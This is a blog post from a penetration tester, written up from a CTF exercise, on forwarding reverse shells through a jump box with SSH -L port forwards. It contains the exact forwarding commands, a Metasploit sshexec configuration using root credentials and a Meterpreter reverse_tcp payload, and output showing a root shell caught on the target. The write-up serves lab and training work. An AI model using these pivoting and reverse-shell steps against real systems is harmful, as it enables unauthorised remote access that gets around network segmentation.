Forwarding Reverse Shells Through A Jump Box Using SSH

Ryan Wendel
Feb 1 · 6 min read

I worked through a netpen CTF the other day that provided me a jump box to access the entire scenario with. Despite there being some tools installed on the jump, I didn’t want to use it as my attacking host nor did I want to catch shells on it. Instead, I opted to port forward through this host when attacking target hosts in the scenario. A trick I used to catch reverse shells on my attacking host involved some port forwarding using SSH.

There are a good number of ways to go about forwarding or proxying connections through hosts. I often like to keep things simple and, as such, often make use of the ‘-L’ and ‘-R’ flags provided by the SSH remote login tool. I’ll only be talking about using the ‘-L’ flag in this blog post. Perhaps I’ll go over reverse port forwards another time.

Here is a snippet from SSH’s man page to clarify what the ‘-L’ flag does.

-L [bind_address:]port:host:hostport
-L [bind_address:]port:remote_socket
-L local_socket:host:hostport
-L local_socket:remote_socket
Specifies that connections to the given TCP port or Unix socket
on the local (client) host are to be forwarded to the given host
and port, or Unix socket, on the remote side. This works by
allocating a socket to listen to either a TCP port on the local
side, optionally bound to the specified bind_address, or to a
Unix socket. Whenever a connection is made to the local port or
socket, the connection is forwarded over the secure channel, and
a connection is made to either host port hostport, or the Unix
socket remote_socket, from the remote machine.
Port forwardings can also be specified in the configuration
file. Only the superuser can forward privileged ports. IPv6
addresses can be specified by enclosing the address in square
brackets.
By default, the local port is bound in accordance with the
GatewayPorts setting. However, an explicit bind_address may be
used to bind the connection to a specific address. The
bind_address of “localhost” indicates that the listening port be
bound for local use only, while an empty address or ‘*’
indicates that the port should be available from all interfaces.

In short, using this flag forwards a socket (IP address and Port) to another one. It doesn’t need to be any more complicated than that.

Getting back to the CTF scenario… As I was using my attacking host to communicate with target hosts and catch shells, I needed my jump box to do the following two things:

  • Forward a non-local port to a target’s non-local port.
  • Forward a non-local port to local port on my attacking host

Clear as mud? Let’s break this down…

In the following example I am going to use three Linux hosts to simulate executing a remote exploit on a target host through a jump box. The target will send its reverse shell back to the jump box. The jump box will forward that shell’s connection back to my attacking host.

Still muddy? We’ll break this down even further. Let’s list out the involved parties.

  • Attacking Host — 192.168.0.1
  • Jump Host — 192.168.0.2 and 10.0.0.2 (the Jump host is dual-homed)
  • Target Host — 10.0.0.1

Here are all the components of what we’re doing:

  1. Forwarding 127.0.0.1:2222 on the attacking host through the Jump host to 10.0.0.1:22
  2. Forwarding 10.0.0.2:4444 on the jump box to 127.0.0.1:4444 on the attacking host

Which allows us to do the following:

  1. Attack the “vulnerable service” on the target from the attacking host through the jump box
  2. Point the exploit’s shellcode payload at the jump box but have it forwarded to the attacking host

Take a look at the following figure for an illustrative explanation of what’s going on.

In this scenario I am going to “exploit” the target’s SSH service using Metasploit’s “exploit/multi/ssh/sshexec” module. Please ignore the details of what is being exploited and how. But first we’ll need to setup our SSH port forwards.

Execute the following commands on the attacking host:

JUMP="192.168.0.2"
TARGET="10.0.0.1"
ssh -N user@${JUMP} -p 22 -L 2222:${TARGET}:22

Ensure the local port is listening (on the attacking host) using “netstat” or “ss”:

netstat -nalpt | grep LISTEN | grep ssh
tcp 0 0 127.0.0.1:2222 0.0.0.0:* LISTEN 32048/ssh
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 791/sshd

Execute the following commands on the jump host:

ATTACKING_HOST="192.168.0.1"
ssh -N user@${ATTACKING_HOST} -p 22 -L 0.0.0.0:4444:127.0.0.1:4444

Ensure the non-local port is listening (on the jump host) using “netstat” or “ss”:

netstat -nalpt | grep LISTEN | grep ssh
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 484/sshd
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 3562/ssh
tcp6 0 0 :::22 :::* LISTEN 484/sshd

Looking closely at the two netstat outputs you may be wondering why you are not seeing a listening socket of 127.0.0.1:4444 on the attacking host. This is because we haven’t fired up Metasploit and configured our multi-handler to catch an incoming shell.

So let’s do that… Once Metasploit has finished loading we’ll issue the following commands to set up our environment.

msf5 > use exploits/multi/ssh/sshexecmsf5 exploit(multi/ssh/sshexec) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf5 exploit(multi/ssh/sshexec) > set RPORT 2222
RPORT => 2222
msf5 exploit(multi/ssh/sshexec) > set USERNAME root
USERNAME => root
msf5 exploit(multi/ssh/sshexec) > set PASSWORD Summer2019
PASSWORD => Summer2019
msf5 exploit(multi/ssh/sshexec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/ssh/sshexec) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/ssh/sshexec) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf5 exploit(multi/ssh/sshexec) > set ReverseListenerBindAddress 127.0.0.1
ReverseListenerBindAddress => 127.0.0.1

Notice we’re telling Metasploit that the RHOST (target) is 127.0.0.1 on TCP port 4444. Also notice that we told Metasploit that our LHOST (shell catcher) was the jump host (10.0.0.2).

Some magic sauce here is the use of the “ReverseListenerBindAddress” parameter. This let’s Metasploit know the shell will ultimately be caught by 127.0.0.1 on the attacking host and not on the jump host (10.0.0.2).

One extra thing to point out about using the “exploit/multi/ssh/sshexec” Metasploit module is that it requires a web server to help deliver staged payloads. This is controlled by the “SRVHOST” and “SRVPORT” parameters. In my example we’ll need to add an extra port forward on the jump host to ensure the target can connect to this service. We’ll do this by executing the following commands on the jump host.

ATTACKING_HOST="192.168.0.1"
ssh -N user@${ATTACKING_HOST} -p 22 -L 0.0.0.0:8080:127.0.0.1:8080

Ensure the non-local port is listening (on the jump host) using “netstat” or “ss”:

netstat -nalpt | grep LISTEN | grep ssh
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 3773/ssh
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 484/sshd
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 3562/ssh
tcp6 0 0 :::22

We’ll also bind this delivery service to 127.0.0.1 by setting the “SRVHOST” parameter in Metasploit.

msf5 exploit(multi/ssh/sshexec) > set SRVHOST 127.0.0.1
SRVHOST => 127.0.0.1

At this point we’re ready to go. Running the module looks something like:

msf5 exploit(multi/ssh/sshexec) > run[*] Started reverse TCP handler on 127.0.0.1:4444 
[*] 127.0.0.1:2222 - Sending stager...
[*] Command Stager progress - 42.75% done (342/800 bytes)
[*] Sending stage (985320 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:54472) at 2020-02-01 14:00:32 -0500
[!] Timed out while waiting for command to return
[*] Command Stager progress - 100.00% done (800/800 bytes)meterpreter > shell
Process 22641 created.
Channel 1 created.
whoami
root
pwd
/root
ifconfig | grep 10\.0\.0\.1
inet 10.0.0.1 netmask 255.255.255.0 broadcast 10.0.0.255

Success! We caught our shell using a jump box as a go-between.

As some of you might be quick to point out, there are other ways of performing this type of forwarding or proxying. There is always dynamic port forwarding using SSH’s “-D” flag in conjunction with “Proxychains”. Additionally, there exists a really cool tool known as “sshuttle” that allows you to route through SSH services on remote hosts. Both are completely viable options that I use from time-to-time.

Ryan Wendel

Written by

Ethical Hacking Consultant. @ryanwendel

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade